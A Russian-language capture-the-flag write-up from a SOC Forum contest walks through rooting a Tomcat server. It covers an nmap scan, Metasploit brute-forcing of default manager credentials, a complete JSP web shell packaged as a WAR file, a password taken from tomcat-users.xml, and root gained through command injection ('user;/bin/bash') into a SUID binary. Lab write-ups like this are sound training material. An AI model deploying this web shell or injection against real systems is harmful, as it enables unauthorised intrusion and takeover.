О чём речь
8 ноября на SOC Forum мы предложили вам попробовать свои силы в решении задач по пентесту, форензике и OSINT. Сегодня делимся с вами ответом на задание по пентесту.
Легенда:
Компания X внедрила в свою инфраструктуру контейнер сервлетов, основанный на Apache Tomcat. Этот контейнер позволяет тестировать, отлаживать и запускать веб-приложения, написанные на Java. Сможешь проверить, насколько надежно защищена эта система?
Цель:
Получи root-доступ к серверу и собери все 3 флага.
Сервер для исследования:
195.19.96.163
В случае, если виртуальная машина недоступна, второй сервер: 195.19.96.166
Разберем сценарий квеста, где будем проводить сканирование, изучать уязвимости Tomcat, загружать Web shell, а также повышать привилегии для получения всех флагов.
1️⃣ Сканирование портов
Для начала проводим сканирование на наличие открытых портов с помощью инструмента nmap:
sudo nmap --top-ports 1000 -A -sS -sV --open 195.19.96.163 -Pn
Обнаруживаем два открытых TCP-порта:
22 – SSH сервис, уязвимостей не найдено.
8080 – сервис Tomcat.
2️⃣ Изучение Tomcat
Поиск по открытым источникам уязвимостей для обнаруженной версии Tomcat не дал результатов. Однако можно предположить наличие стандартных учетных данных. С помощью модуля
auxiliary/scanner/http/tomcat_mgr_login в Metasploit удалось подобрать учетную запись: manager:password1.Теперь мы в панели администрирования Tomcat и можем загрузить WAR файл. По инструкции ниже создаем Web shell.
3️⃣ Создание и загрузка Web shell
Устанавливаем JDK для использования команды jar:
sudo apt install default-jdk
Создаем файл index.jsp с кодом для Web shell:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd, null, null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s + "</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
Далее:
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
Загружаем файл и получаем возможность выполнять команды через Web shell. В директории /opt/tomcat8/ находим файл flag1.txt с первым флагом.
4️⃣ Повышение привилегий
Ищем способы подключения к хосту. В директории
/opt/tomcat8/conf/ обнаруживаем tomcat-users.xml с учетной записью john:wj36Hn2P1rS4vLwSHM. Подключаемся по SSH под пользователем john и находим второй флаг в его домашней директории.
ssh john@195.19.96.163
Находим папку .script с файлом change-pass, предназначенным для смены паролей пользователей. Этот файл принадлежит root и группе help, и имеет SUID-бит. Пользователь john состоит в группе help.
Используем команды для проверки прав и состава файла:
find / -perm -u=s -type f 2>/dev/null
ls -la /home/john/.script/change-pass
id john
cat /home/john/.script/change-pass.c
С помощью команды
/home/john/.script/change-pass "user;/bin/bash" получаем привилегии root. Далее находим финальный флаг в директории root:
cat /root/.flag3.txt
🎉 Поздравляем! Все этапы пройдены, и флаги успешно собраны.